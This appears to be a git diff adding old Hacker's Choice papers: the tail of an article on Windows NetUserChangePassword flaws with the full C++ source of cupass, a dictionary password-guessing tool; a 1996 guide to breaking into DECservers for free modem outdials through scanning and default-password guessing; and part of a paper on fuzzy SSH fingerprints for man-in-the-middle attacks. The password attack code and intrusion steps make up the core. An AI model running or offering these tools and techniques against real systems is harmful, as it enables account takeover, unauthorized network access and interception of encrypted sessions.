Microsofts msdn webpage or Charles +Petzolds book about Windows programming, if you are interested in this +topic. + + +For a successfull usage of NUCP, you have to link your program with the +"Netapi32.lib" library! + + + + +----| REQUIRED PERMISSIONS FOR NUCP + + +NUCP is part of the Microsoft network management functions. +The management functions consists of different groups like +NetFileFunctions, ScheduleFunctions, ServerFunctions, UserFunctions etc. + + +These functions are again splitted in Query Functions and Update Functions. +Whilst query functions just allow to query informations, the update +functions allow changes on objects. + + +An example for a query function is e.g the NetUserEnum function which +provides information about all user accounts on a server. + + +An example for an update function is the NetUserChangePassword function +which changes the password of a user account :) + + +Its easy to imagine, that query functions need less permissions than update +functions for beeing executed. + + + +Lets have a look what permissions are needet: + + + +WINDOWS NT +---------- + + +The query functions like NetGroupEnum, NetUserEnum etc. and can be +executed by all authenticated users. + + +This includes Anonymous users, if the RestrictAnonymous policy setting +allows anonymous access. + + +On a Windows NT member server, workstation or PDC, the +NetUserChangePassword function can only be (successfull) executed by +Administrators, Account Operators or the user of the account, if the option +'User Must Log On in Order to Change Password' for this user is enabled. + + +If 'User Must Log On in Order to Change Password' is not enabled, a user can +change the password of any other user, as long he knows the actual password. + + + +WINDOWS 2000 +------------ + + +The query functions like NetGroupEnum, NetUserEnum etc. can be executed by +all authenticated users. This includes Anonymous users, if the +RestrictAnonymous policy setting allows anonymous access. + + +On a W2K member server or workstation the NetUserChangePassword function +should only be (successfully) executable by Administrators, Account +Operators or the user of the account. + + +That this isn't the case, can be shown with CUPASS, because here is the +flaw that Microsoft made with his implementation of NetUserChangePassword. + + +On W2K member servers and workstations, the NetUserChangePassword function +can be successfully executed by any user who knows the current password of +the attacked user account. + + + +( For your information: + + +The option 'User Must Log On in Order to Change Password' has been removed +>from W2K! ) + + + +On a W2K domain controller with Active Directory, access to an object is +granted based on the ACL of the object (Because W2K with installed AD +stores the user passwords in the AD in contrast to NT 3.x/4). + + +Network management query functions are permitted to all authenticated +users and the members of the group "Pre-Windows 2000 compatible access" +by the default ACL's. + + +Theoretical Network Management Update functions like NUCP are only +permitted to Administrators and Account Operators. + + +That this is not the case, can also be shown with CUPASS. + + +CUPASS works fine if AD is installed on the target system. + + +If the "everyone" group is removed from the +"Pre-Windows 2000 compatible access" group, the result of CUPASS will +be Errorcode 5, which means ACCESS_DENIED!. + + +My research shows that anyhow the password is guessed by CUPASS, but +can not be changed because of insufficient permissions on the AD object! + + + +----| ANONYMOUS CONNECT + + +There is something I didn't talk about much, the Anonymous User Problem, +also known as the NULL-User problem. + + +Lets have a short look at how the Anonymous security settings will take affect +to the NUCP problem: + + +-> W2K + --- + + + The value Data of the following registry value regulates the behaviour + of the operating system regarding to the NULL USER CONNECT. + + + HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA + Value: RestrictAnonymous + Value Type: REG_DWORD + + + If RestrictAnonymous is set to 0 (zero), which is the default setting, + CUPASS will work properly. + + + If RestrictAnonymous is set to 1, what means the enumeration of SAM + accounts and names is not allowed, CUPASS will work properly. + + If RestrictAnonymous is set to 2, what means no access without explicit + anonymous permissions, there is no possibility to change the password + with NUCP :( + + Because the value 2 has comprehensive consequences to the behaviour of + the windows environment (e.g. Browser service will not work properly, + netlogon secure channels could not be established properly by member + workstations etc..) it is rare used. + + + These settings are the same on W2K member server and W2K DC with AD! + + + +-> NT4 + --- + + The value Data of the following registry value regulates the behaviour + of the operating system regarding to the NULL USER CONNECT. + + + HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA + Value: RestrictAnonymous + Value Type: REG_DWORD + + + Converse to W2K there are only two valid values 0 (zero) and 1 for + RestrictAnonymous. + + + If RestrictAnonymous is set to 0 (zero), which is the default setting, + CUPASS will work properly. + + + If RestrictAnonymous is set to 1, what means the enumeration of SAM + accounts and names is not allowed, CUPASS will work properly. + + + + + + +COMMON +------ + + +The process that calls the NetUserChangePassword function in some cases +must have the SE_CHANGE_NOTIFY_NAME privilege +(except for system account and members of the local Administrator group). +Per default this privilege is enabled for every account, but can be +disabled by the administrator. + + +SE_CHANGE_NOTIFY_NAME could not be found at the privileges, +because it is called "Bypass traverse checking"! + + +This is an declarative from Microsoft. I tried it, but I didn't find a case +in that this right was necessary to execute the NUCP function call. + + + + +----| POLICY AND LOGGING + + +I will have a look for the policy settings, that will take affect to the +NUCP problem. + + + +ACCOUNT POLICIES +---------------- + + +->PASSWORD POLICY + --------------- + + The settings "Enforce password history" and "Minimum password age" + will take effect to the result of CUPASS, in the way that CUPASS can't + "realy" change the password, and the error code 2245 will result. + + But this doesn't matter, because we know the "old" password at this time, + and CUPASS just tried to replace the "old" password with the "old" + password again. + + + +->ACCOUNT LOGOUT POLICY + --------------------- + + Account lockout treshold + ------------------------ + + + The settings "Account lockout duration" and + "Reset Account lockout after ..." are only relevant if the + "Account lockout treshold" ist set to any value >0. + + + If the treshold is set, than this takes affect to the work of CUPASS, + because all attempts of CUPASS exceeding the treshold will lead to an + account lockout :( + + + However the Logout Policy ist not valid for the Administrator on NT4 + environments, until the NT Reskit tool "Passprop" is used! + In this case even the Administator account will be locked + for network logons! + + + If we start CUPASS against any account of a W2K server or a W2K domain + controller with AD, this account is locked out, and even the + Administrator account is marked as "Account is locked out", too ! + + + But it is still possible for the Administrator account to log on + interactive on the machine! + + + + + + + +AUDIT POLICY +------------ + + + Lets have a look which auditing events have to enabled, to see an + CUPASS attack in the security logs of the target machine. + + + + Audit Account Management + ------------------------ + + + If the setting "Audit Account Management" is enabled (success/failure), + an entry with the ID 627 appears in in the security log. + + + This entry contains all necessary datas for the administrator :( + These e.g. are: Date, Time, Target Account Name, Caller User Name etc. + + + + Audit account logon events + -------------------------- + + + Surprisingly for some administrators, there appears no log entry if + the settings "Audit account logon events" or "Audit logon events" + are enabled, if the attack goes to the local machine. + + + This is e.g. the case if you want to guess the local administrator + password of your machine. + + + If the CUPASS attack comes from remote, log entries ID 681 and ID 529 + occures. + + + + Audit Object Access + ------------------- + + If this type of auditing is enabled, and the attack goes to the + local machine, an logfile entry with the ID 560 and 562 appears. + + + ID 560 tells us that someone opened the object + "Security Account Manager" whilst 562 tells us something like + "Handle closed"... + + + +Maybe there occure some more logfile entries with other ID's, but these +ones listed above are the ones I found while testing CUPASS. + + +So test CUPASS on your own environment and have a look into your logfiles! + + + + +----| LAST WORDS + + +I hope this article could give you a little overview about the +NetUserChangePassword problem, and Microsoft's inconsequent implementation +of security and function calls. + + +This article could not treat this topic concluding, because there are +so many different situations and configurations that I could not test +in my short sparetime :) + + + +----| GREETS + + +Greets to Van Hauser who inspired me for this release, ganymed, mindmaniac +and all the other members from THC, VAX who gives me a lift to HAL2001, +the guys from TESO, Seth, Rookie and all the other people knowing me... + + +The biggest THANX are going to my wife, who missed me nearly the whole +weekend while I was writing this article! + +Ok, have a nice day and lets meet and party at HAL2001 :) + + + +<++> cupass.cpp !a10c7302 +/* + * CUPASS v1.0 (c) 2001 by Doc Holiday / THC + * http://www.hackerschoice.com + * + * Dictionary Attack against Windows Passwords with NetUserChangePassword. + * Do only use for legal purposes. + * + * Compiled and tested on Windows NT/W2K - runs not on Win9x!! + * Compiled with VC++ 6.0 + * + */ + + +#define UNICODE 1 +#define _UNICODE 1 + + +#include +#include +#include +#include + + +#pragma comment( lib, "netapi32.lib" ) + + + +void wmain( int argc, wchar_t *argv[] ) +{ + wchar_t *hostname = 0; + wchar_t *username = 0; + wchar_t *dictfile = 0; + wchar_t myChar[256]; + NET_API_STATUS result; + FILE *stream; + LPWSTR oldpassword; + + + if (argc != 4) + { + wprintf (L"\nMissing or wrong parameters!\n"); + wprintf ( + L"\nUsage: cupass \\\\hostname username dictionaryfile\n"); + exit(1); + } + + + hostname = argv[1]; + username = argv[2]; + dictfile = argv[3]; + + + if (wcsncmp(hostname, L"\\\\",2 )!=0) + { + wprintf (L"\nups... you forgot the double backslash?"); + wprintf ( + L"\nUsage: cupass \\\\hostname username dictionaryfile\n"); + exit(1); + } + + + if( (stream = _wfopen( dictfile, L"r" )) == NULL ) + { + wprintf( L"\nups... dictionary %s could not be opened", dictfile ); + wprintf (L"\nUsage: cupass \\\\hostname username dictionaryfile\n"); + } + else + { + + wprintf (L"\n*** CUPASS 1.0 - Change User PASSword - by Doc Holiday/THC (c) 2001 ***\n"); + wprintf (L"\nStarting attack .....\n"); + wprintf (L"\nTarget: %s ", hostname); + wprintf (L"\nUser: %s\n ", username); + + + while( !feof( stream ) ) + { + fgetws (myChar, 256,stream); + + + if (myChar[wcslen(myChar)-1] == '\r') myChar[wcslen(myChar)-1] = '\0'; + if (myChar[wcslen(myChar)-1] == '\n') myChar[wcslen(myChar)-1] = '\0'; + + + oldpassword = myChar; + + wprintf( L"\nTrying password %s \n", oldpassword ); + + result = NetUserChangePassword( hostname, username,oldpassword, oldpassword ); + + switch (result) + { + case 0: + wprintf( L"GOTCHA!! Password was changed\n" ); + wprintf( L"\nPassword from user '%s' is '%s'\n", username, oldpassword); + fclose (stream); + exit (1); + break; + + case 5: //ERROR_ACCESS_DENIED + wprintf (L"Attempt failed -> ERROR_ACCESS_DENIED - But password could be %s\n", oldpassword); + fclose (stream); + exit(1); + break; + + case 86: //ERROR_INVALID_PASSWORD + wprintf( L"Attempt failed -> Incorrect password\n" ); + break; + + case 1351: //ERROR_CANT_ACCESS_DOMAIN_INFO + wprintf (L"Attempt failed -> Can't establish connection to Host %s\n",hostname); + fclose (stream); + exit(1); + break; + + + case 1909: //ERROR_ACCOUNT_LOCKED_OUT + wprintf (L"Attempt failed -> Account locked out\n"); + fclose (stream); + exit(1); + break; + + + case 2221: //NERR_UserNotFound) + wprintf (L"Attempt failed -> User %s not found\n", username); + fclose (stream); + exit(1); + break; + + case 2226://NERR_NotPrimary + wprintf (L"Attempt failed -> Operation only allowed on PDC\n"); + break; + + + case 2245: + wprintf (L"GOTCHA!! Password is '%s' , but couldn't be changed to '%s' due to password policy settings!\n", oldpassword, oldpassword); + fclose(stream); + exit(1); + break; + + + default: + wprintf( L"\nAttempt failed :( %lu\n", result ); + fclose(stream); + exit(1); + break; + } + } + fclose (stream); + } +} +<--> end cupass.cpp + +|=[ EOF ]=---------------------------------------------------------------=| + diff --git a/Papers/dec-serv.txt b/Papers/dec-serv.txt new file mode 100644 index 0000000..ce21d23 --- /dev/null +++ b/Papers/dec-serv.txt @@ -0,0 +1,257 @@ + Global OutDials on DECservers - Italy - May 1996 + by Zhart/THC + + +þ Finding a DECserver + + The DECserver is a terminal server, it connects its terminals to + hosts available on an Ethernet Local Area Network. + DecServers are usually reachable via telnet and sometimes via dialup. + Via telnet you need to scan/search for them in the internet, + Via dialups use a good Carrier Scanner like ToneLoc or THC-Scan. + +Telnet: + About telnet connection decservers have normal ip addresses, + but what we are interested in is the alpha address, 'cause almost always + it starts with "DS"; just something like: + DS7001.fuck.you.asshole + and if the owners are very very lame it can even contain the + string "MODEM" or "DIAL" (wow!) in its alpha address. + So what I suggest is to combine a brute force scanning with an intelligent + (smart) behaviour... + You should first find a route ip address of a university or of a science + research network or whatelse you (and, after some scanning, your experience) + think could have such a beautiful device. + It should be a network big enough to have several vaxes and other machines... + Note that not always an alpha address starting with "DS" + leads to a DECserver , i.e. sometimes ultrix machines have an address + like that. +[I personally made a script to scan subnets from XXX.XXX.0.0 to + XXX.XXX.255.255 or from XXX.XXX.XXX.0 to XXX.XXX.XXX.255 + and to save only interesting alpha addresses, + but i don't suggest to use it automatically, in other words + take it always under control and use your brain!] + + þ Warning: usually scripts like this do a lot of noise; + think about "lastcomm" "ps" and things like that ... + þ Warning: to do subnet scanning you need an host with a very fast connection + þ Warning: CERT SUX !!!!!! ;) + + NOTE: + instead of a script it's wiser to do a zone transfer (for example with + nslookup or dig) to get all the alpha names in a domain. But this needs + a) an skilled unix user and b) the target DNS server must allow zone + transfers. (There are other methods but this article isn't about unix + hacking ;-) So I only present this better possiblity which not many can + do reading this article. + + +Dialup: + Nothing much to say about scanning these ... just do a fast carrier scan + of an area overnight and hope you get a dec-server. If you know that a + company has got dialups and a big computer network, then try to scan + those local numbers. There aren't much on toll free numbers and those + are usually more protected. + + If you connect via dialup, you have no problem to recognize it: +_______________________________________________________________________________ + +DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1 +DPS502-DS700 + +(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved + +Please type HELP if you need assistance + +Enter username> THC + +Local> + +------------------------------------------------[FROM alt.2600/#hack.FAQ]------ + + + But if you connect via telnet it will not appear anything on your screen: + +-------------------------[Start Capture]--------------------------------------- + +telnet> open ds7001.fuck.you.asshole +Trying 123.45.678.910 ... +Connected to ds7001.fuck.you.asshole +Escape character is '^]'. + +---------------------------[End Capture]-------------------------------------- + + + All you have to do is just press enter (it's easy uh?), and it will + appear a "#" prompt (at this time you are quite sure it's a DECserver), + echo gets off and ... + now comes the time to type the password to enter the DEC ... + I won't tell you the default pwd (which in 99% of my times was the good one) + 'cause .... 'cause shit ! Do I have to tell you everything??? (scan!) + It's a very very lame password usually one of the firsts that you could think + of. You have 3 tries, after that it disconnects you. I don't know if there are + warnings or logs of wrong attempts made, but can tell that IF the password is + not the default one, then the system administrators take care about security + very very much, so be careful. + Typing the right password appears the same screen of the first capture + (look up!), you are asked a username but it isn't of any importance, just + type something unsuspicious like just one letter. + + +þ Once in ... let's find out if there's a modem ! + + The "Local> " prompt is the DECserver prompt , I strongly suggest to give a + "help" command 'cause the dec help is very kind and it will tell you + more interesting things you can imagine... and you should learn from practice, + not reading shitty articles like this one from zines ! + Ok, to have an idea of where you are , there are two commands : + "show users" + "show services" + The second one will tell you all the possible connections: + + +---------------------[Start Capture]------------------------------------------- +Local> show services + +Service Name Status Identification +AXPXXS Available DEC OSF/1 Version V3.2 LAT SERVICE +AXPXX1 Available @sys$manager:XXXXXXXX_axp.txt +AXPXX2 Unknown DEC OSF/1 Version V3.0 LAT SERVICE +AXPXX3 Available ALPHA 3000/400 - XXXXXX IV - XXX +AXPXX5 Available ALPHA 3000/400 - XXXXXX II - XXX +AXPXX6 Available ALPHA 3000/300 - XXXXXX IV/XXXXX - XXX +AXPXX7 Available ALPHA 3000/300 - C.S. - XXX +AXPXX8 Available DEC 200 4/166 - XXXXXX III - XXX +AXPXX9 Available DEC 200 4/166 - VETOR_1 - XXX +AXPXXA Available DEC 200 4/166 - VETOR_2 - XXX +AXPXXB Available DEC 400 4/233 - G. XXXXXX +AXPXXC Unknown DEC 200 4/166 - AXX - XXX +AXPXXD Available DEC 200 4/166 - AXX - XXX +XXXXXXX Available ULTRIX 4.3 (RISC) +XXXXXXXX Available MV3100-M76 XXXX-XXX XXXX2 +XXXXXX Available VS3100-M76 - C. XXXXXXX +XXXXXX Available XXXXserver 310 XXXXXXXXXXXXXXXXX +MVCB0 Unknown VS 2100 - XXXXX +MVCBCT Available XXXX cluster - VAX/VMS V5.5 +MXXXX2 Available VS3100 - XXX Server Decnet-XXX +MXXXX7 Available MV3100-M76 - XXXXXXXXXXXXXXXXX +MVXXX8 Available Welcome to VAX/VMS V5.5-2 +MVXXX4 Available VS3100-M76 - Disk server- +MX31CS Available Welcome to VAX/VMS V5.5-2 +SATCS3 Available MV3100-M76 - X.X. +XXXXXE Unknown DEC OSF/1 Version V3.0 LAT SERVICE +VAXXXX Available @SYS$MANAGER:XXXXXXX.TXT +VS31C1 Unknown Welcome to VAX/VMS V5.5-2 +VS40C6 Available Welcome to VAX/VMS V5.5-2 +VSXX12 Unknown VS3100 - X. XXXXXX +VSXX11 Available VS2000 - S. XXXXXXXXXXXX +VXXX12 Available VS 2000/50 - XXXXXXS +VX31CS Available Welcome to VAX/VMS V5.5-2 +----------------------------------[End Capture]------------------------------- + + + Reading the description or the service name it's easy to find out a modem. + If you find it, let's say its name is "DS1MODEM" , you just have to use + the "connect" command: + +-------------------------[Start Capture]--------------------------------------- + +Local> connect DS1MODEM +Local -010- Session 1 to DS1MODEM on node DS7001 established +atz +OK +atdt004969823282 +CONNECT 14400/REL +Press [ENTER] to access L.o.r.E. BBS + +-------------------------[End Capture]----------------------------------------- + + +þ ... A little bit difficult + + If from the "show services" doesn't seem to be any modem (try also strange + services and services without description) don't lose any hope 'cause often + devices such as modems are used only by sys-administrators, they create the + service when they need it and then "CLEAR" it. + What you have to do is look all the PORTS of the DECserver for modems ... + Here you use the "SHOW PORT" command: + +--------------------------[Start Capture]-------------------------------------- + +Local> show port 8 + +Port 8: Server: DSLE8 +Character Size: 8 Input Speed: 9600 +Flow Control: XON Output Speed: 9600 +Parity: None Signal Control: Disabled +Stop Bits: Dynamic Signal Select: CTS-DSR-RTS-DTR +Access: Local Local Switch: None +Backwards Switch: None Name: PORT_8 +Break: Local Session Limit: 4 +Forwards Switch: None Type: Ansi +Default Protocol: LAT +Preferred Service: VAXXX +Authorized Groups: 0 +(Current) Groups: 0 +Enabled Characteristics: +Autobaud, Autoprompt, Broadcast, Input Flow Control, Lock, +Loss Notification, Message Codes, Output Flow Control, Verification + + +-------------------------------[End Capture]----------------------------------- + + All of these informations are interesting but the one which usually tells + if a modem is connected to the port is: + +Enabled Characteristics: +Dialup, etc..., etc..., etc,... + + So give a look at all ports, if there's nothing interesting throw that DEC + in the trash ,otherwise you NEED PRIVELEGES to use the modem ... + In 50% of cases the password to become privileged user is the default one, + in 85% of cases it's a lame one ... + Once again I won't tell you the privileged user default password (which is + different from the first password) but once again I say it's an absolutely + lame pwd! + To become Privileged user do: + +Local> set priv +Password> + + Once again have 3 tries ,but this time I'm sure that an invalid attempt + is logged with a certain warning value! + If after you've typed the pwd it answers with the "Local>" prompt it + means you're a privileged user , and finally you can do : + +Local> set port 1 service FUCKYOU +Local> connect FUCKYOU + + And enjoy your dialout ;) + + +þ Epilogue + + There's a lot to learn about DECservers, about all the settings and options + you can switch, so experiment ... they are useful to penetrate systems + and can tell you very much about a network ... lot of DECs have also + an active telnet command ... + + And you can often find valid telnet targets with the command "show domain". + So these DECservers can also be useful to pass a Firewall (!) and to enter + internal networks which would normally not available (not connected to + the internet) ! But this once again goes to far into unix hacking ... + + But be careful do not abuse too much, use your brain ... + Think that sooner or later a phone bill arrives to someone and .... + Use modem outdials only in hours when you know offices and machines' rooms + are closed ... + +Greets and Have Fun! +ANARCHY ALL OVER THE WORLD !!!!!!!! +To All Italian H/P scene doods: We need to be united ! + Leave me a message on + LorE BBS +49-69-823282 + Login: THC Pwd: THC + + Zhart/THC + \ No newline at end of file diff --git a/Papers/ffp-logo.jpg b/Papers/ffp-logo.jpg new file mode 100644 index 0000000..4a0fe82 Binary files /dev/null and b/Papers/ffp-logo.jpg differ diff --git a/Papers/ffp-talk.html b/Papers/ffp-talk.html new file mode 100644 index 0000000..de0b40d --- /dev/null +++ b/Papers/ffp-talk.html @@ -0,0 +1,33 @@ + + + + + +


    +

    +Redirecting to the presentation slides
    +"Unscharfe kryptographische Fingerabdrücke" +
    + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Papers/ffp.html b/Papers/ffp.html new file mode 100644 index 0000000..621546d --- /dev/null +++ b/Papers/ffp.html @@ -0,0 +1,1012 @@ + + + + + + + + + Fuzzy Fingerprints - + Attacking Vulnerabilities in the Human Brain + + + + +
    +

    + + + + Fuzzy Fingerprints\ + Attacking Vulnerabilities in the Human Brain + +

    + Fuzzy Fingerprints
    + Attacking Vulnerabilities in the Human Brain

    + +

    Plasmoid (plasmoid@thc.org)
    + On behalf of The Hacker's Choice - http://www.thc.org

    + +

    + This document is also available in the Portable Document Format + [PDF]: ffp.pdf +

    +

    + +
    + +

    Contents

    1  Introduction
    +2  Theoretical background
    +    2.1  Key exchange using public-key cryptography
    +    2.2  Cryptographic fingerprints for key verification
    +    2.3  Fuzzy fingerprint quality
    +    2.4  Finding fuzzy fingerprints
    +        2.4.1  Tweaking RSA key generation
    +        2.4.2  Tweaking DSA key generation
    +3  Implementation details
    +    3.1  Installation of ffp
    +    3.2  Usage of ffp
    +    3.3  Sample session using ffp and SSHarp
    +        3.3.1  Investigating the victim host
    +        3.3.2  Generating a key pair with a good fuzzy fingerprint
    +        3.3.3  Launching ssharp with the generated keys
    +4  Thanks and greetings
    + + + +
    +

    +1  Introduction

    + +
    +Welcome to the world of Fuzzy Fingerprinting, a new technique to +attack cryptographic key authentication protocols that rely on human +verification of key fingerprints. It is important to note that while fuzzy +fingerprinting is an attack against a protocol, it is not a +cryptographic attack and thus does not attack any cryptographic algorithm. + +
    +This document covers the theoretical background and the generation of fuzzy +fingerprints and also details on the implementation +ffp [FFP] and its usage. For people who don't want to waste their time +reading pseudo-academic Blabla it is essential to skip to the more pratical +part of this document 3, the details on the implementation +and the provided sample session using SSHarp [SFP]. + +
    +

    +2  Theoretical background

    + +
    +

    +2.1  Key exchange using public-key cryptography

    + +
    +Asymmetric cryptography has revolutionized the classic cryptography and +created new cryptographic techniques such as hybrid cryptosystems or digital +signatures. In order to cover the background of fuzzy fingerprinting, this +document focuses on the hybrid cryptosystems and their key exchange +protocols. Fuzzy fingerprinting may also have an impact on digital +signatures or integrity verification systems, for now we simply ignore these +aspects. + +
    +Let's introduce the classical problem of communicating using a symmetric +cypher. Two parties that want to encrypt a communication using a fast +symmetric cipher need to exchange a secret session key before starting to +communicate. This problem is not easy to solve, meeting in real life or +exchanging the session key via telephone are solutions, but often +impossible to realize. + +
    +Using public-key cryptography both parties can elegantly and securely +exchange the session key: Both parties first exchange their public keys, +then one chooses a session key and transmits it to the other encrypting it +with its public key. Both continue communicating using the session key. An +outside attacker is not able to able to read the secret session key if he +just passively eavesdrops the communication of both. + +
    +While public-key cryptography looks like a really good solution to the +problem, it introduces a new problem into the scenario. An active attacker +might intercept the communication between both parties and replaces the +transmitted public keys with his own public key. Both parties would exchange +keys, but in fact each would receive the public key of the attacker. Any +communication first goes to the attacker who decrypts the messages using his +private key and then re-encrypts them using the target's public key. He's +now able to read the session key in cleartext and can also read the +following secure communication that uses this session key. This attack is +known as man-in-the-middle attack. + +
    +

    +2.2  Cryptographic fingerprints for key verification

    + +
    +Several protocols have been proposed to prevent man-in-the-middle attacks +when using public-key cryptography, e.g. the interlock protocol [ILP]. +Other protocols rely on digital signatures or trusted key distribution +centers to verify the integrity of the public keys. Unfortunately in most +situation such methods are not available and the initially exchanged public +keys are verificated using so called cryptographic fingerprints. + +
    +Cryptographic fingerprints (also called messages digests) are short blocks +generated by cryptographic one-way hash functions (also called +collision-free hash functions). These cryptographic fingerprints act similar +to real fingerprints, if two fingerprints match it is very likely that +they have been made by the same person. In order to verify the integrity of +a public key the sender and receiver both generate a cryptographic +fingerprint from the key and compare these fingerprints, e.g. by phone. + +
    +The longer a fingerprint is, the better is its security against collisions +but the harder it is for a common human subject to compare the fingerprint +against another fingerprint. It has been observed that most people tend to +compare only a sequence at the start and at the end of the fingerprint +instead of checking every single digit. Some more sophisticated human +subjects also compare a sequence in the middle - but only very few have been +spotted that compare all digits. This observation led to the idea of +fuzzy fingerprints. + +
    +

    +2.3  Fuzzy fingerprint quality

    + +
    +The intention of fuzzy fingerprinting is no to collide against a target +fingerprint, but to find a fuzzy fingerprint that would pass lazy human +comparison. This attack has been proposed by Plasmoid and Skyper in +a private discussion at HAL2001. + +
    +There are some methods for the generation of fuzzy fingerprints. The most +basic is the fuzzy map weighting that was introduced by Plasmoid. + +
    +Each digit of a cryptographic fingerprint is weighted according to a map of +importance. The weights range from 0 to 1 and represent the importance for a +comparison, so that first and last digits have a higher importance than +middle ones. If a digit of the fuzzy fingerprint and the target +fingerprint match the weight is added to the quality of the fuzzy +fingerprint. The sum of the weighted digits is the quality of the fuzzy +fingerprint and equal fingerprints have a quality of 1 or 100 +
    +In order to imitate the natural laziness an inverse gaussian distribution +could be used to generate the fuzzy map. The following example shows an +inverse gaussian distribution for a small 2 byte fingerprint. + +
    + + + + + + +
    Target Fingerprint = 9 F :2 3
    Fuzzy Map = 25% 10% :5% 20%
    Fuzzy Fingerprint = 9 3 :1 3
    Quality = 25% + 10% + 5% + 20% = 45%
    + + +
    +Eventhough only 2 digits of 6 are equal the calculated quality is near 50because the important digits at the start and at the end do match. At the +first glance a gaussian distribution might be an overkill for such a simple +map, but it allows the generation of variable-length maps that can be +generated for several one-way hash functions, e.g. MD5 [MD5] with 16 +bytes fingerprints or SHA1 [DSS] with 20 bytes fingerpints. + +
    +Instead of the gaussian distribution a cosine function might be used with 3 +maxima. This can be achieved if the map is generated within the interval +from -2p to 2p. Important parts of the fingerprint therefore +become the start, the end and the middle sequence. + +
    +An extension for finding fuzzy fingerprints has been proposed by Heinrich +Langos eventhough he probably can't remember that. In addition to the fuzzy +map, a map of common key confusions is added to the quality calculation. +Digits like 6 and 9 or 1 and 7 are often mixed up depending on the format of +the digits, e.g. down written or graphic fonts. A confusion key map +contains the confusion and a quality representing the probability of the +confusion. The following example shows just a few confusions. + +
    + + + + + + +
    Target Key Fuzzy Key Quality
    6 ® 9 12%
    9 ® 6 12%
    1 ® 7 8%
    7 ® 1 4%
    + + +
    +A confusion map adds more granularity to the quality function of fuzzy maps, +fuzzy fingerprints generated with confusions maps not only contain similar +start and end-sequences in comparison to the target fingerprint, but also +feature digits that might easily be confused with digits from the target +fingerprint. + +
    +It is important to note that such a key mapping is not necessary symmetric +and also that such a confusion key map has not been implemented in this +release but may be added later. + +
    +

    +2.4  Finding fuzzy fingerprints

    + +
    +With the fuzzy quality as an instrument to order fuzzy fingerprints, an +attacker is able to search for fingerprints with the best fuzzy quality. +This search involves two major calculation components, the one-way hash +function and the key generation, because the attacker has to bruteforce for +keys that have a good fuzzy fingerprint generated using a hash function. + +
    +Cryptographic one-way hash functions are collision-resistant (or try to be), +therefore changing just one bit of the input data should result in a +complete different fingerprint (50issues into account, it should be very hard to predict the output of a hash +function so that there would be any other way than bruteforcing to receive +good fuzzy fingerprints. Any performance optimisations need to be done +in the key generation component. + +
    +For this document the RSA [RSA] and the DSA [DSS] key generation +have been reviewed. The intention was to improve the performance of the key +generation under the new aspect that the resulting keys not necessary have +to be cryptographic secure but still need to work. + +
    +

    +2.4.1  Tweaking RSA key generation

    + +
    +The RSA algorithm uses the following interesting variables + +
      +
    • p, q and n = pq, two strong prime numbers

    • + +
    • f(n)=(p-1)(q-1)

    • + +
    • e with gcd(e,f(n))=1, the public key

    • +
    + + +
    +There are two possible approaches to the generation of an RSA key pair + +
    + +
      +
    • The first step is to randomly choose the public key e and continue to +search for two prime numbers p and q so that p and q meet +gcd(e,f(n))=1 or in other words e and f(n) are relative prime. +This approach has been implemented by the OpenSSL Project [SSL].

    • + +
    • The other approach is to first calculate the two prime numbers p and +q and then search for an e so that e meets gcd(e,f(n))=1. This +approach is integrated in the ffp implementation [FFP].

    • +
    + + +
    +While both approaches create the same result the second one better fits into +the needs of bruteforcing, because the expensive prime number generations +are only performed once. An attacker could calculate the two primes p +and q at the start of the bruteforce process and then search successivly +for public keys e. + +
    +In order to improve the performance even the check for e being relative +prime can be skipped, this is called sloppy key generation. While this +step dramatically increases the performance, it is not guaranteed that the +generated keys still work. Test allow the assumption that only very few +keys are broken and if an attacker stores a list of best keys, e.g. 10 there +is more than a fair chance that more than one key is working. + +
    +

    +2.4.2  Tweaking DSA key generation

    + +
    +The algorithm uses the following interesting variables + +
      +
    • p, a prime number of variable length

    • + +
    • q, a 160-bit prime factor of p-1

    • + +
    • x with x < q, the private key

    • + +
    • g, something different [Do we need to discuss any detail?]

    • + +
    • y = gx mod p, the public key

    • +
    + + +
    + +Increasing the performance of the DSA key generation is a diffcult problem. +At the first step one would start the key generation process similar to +the improvements done to the sloppy RSA key generation by first +calculating the two prime numbers p and q. Note that p and q in +case of DSA old more constraints than in the RSA algorithm. + +
    +After two primes have been found, it is possible to bruteforce over the +private key x that only needs to meed x < q which is a simple and fast +comparison. Unfortunatley it is necessary for each x to calculate the +appropriate public key y which involves calculating a modulus and an +exponentiation with very big numbers and thus is very time consuming. + +
    +Tests with the ffp implementation show that DSA is about 1000 times +slower than RSA key generation and therefore will only be available to the +bruteforce process for fuzzy fingerprinting in the next centuries. + +
    +

    +3  Implementation details

    + + + +
    +Now you have read through a rather strange description of the background and +honestly I know that some points have been discussed far from complete, +nevertheless I also like to present an implementation of the discussed ideas +that is callesd ffp and available at The Hacker's Choice website. This +implementation uses the fuzzy fingerprinting technique in order to attack +the key verification protocol used in the client of SSH protocol version 2. +As a good victim the implementation OpenSSH [SSH] has been chosen, +because it is free and really good software that can mess with all +commercial implementations (Humble me says so!). + +
    +OpenSSH makes use of the routines from the free crypto and SSL +libraries provided by the OpenSSL Project [SSL]. Therefore several +implementation issues have been looked up in the OpenSSL source code +and some parts have even been taken from the actual implementations of +the RSA and DSA key generation. + +
    +OpenSSH uses a hybrid cryptosystem: public-key cryptography is used to +exchange a session key between the client and the server and the following +client-server-communication is encrypted with a symmetric cipher, but +OpenSSH, strictly implementing the SSH protocol, fully relies on the user +verificating of an initially received public key by asking for confirmation +if the generated cryptographic fingerprint is known and matches. + +
    + +
    +$ ssh foo@fluffy
    +The authenticity of host 'fluffy (10.0.0.2)' can't be established.
    +RSA key fingerprint is 54:3a:12:db:d4:35:71:45:3d:61:51:c1:df:47:bc:bc.
    +Are you sure you want to continue connecting (yes/no)? 
    +
    + + +
    +
    +
    +
    + + + +
    +Once the fingerprint and the key have been approved the key is stored in a +file called known_hosts or known_hosts2 and upon further +connections the retrieved public key is compared to the stored key an no +user interaction is necessary. It has also been shown that there exists +tricks to force the SSH client to ask again for the confirmation of a key +eventhough a correct version has already been retrieved [SFP]. Using +these techniques, a man-in-the-middle tool and ffp form a quite +mailicous attack that can be launched against any SSH connection using the +SSH protocol version 2. + +
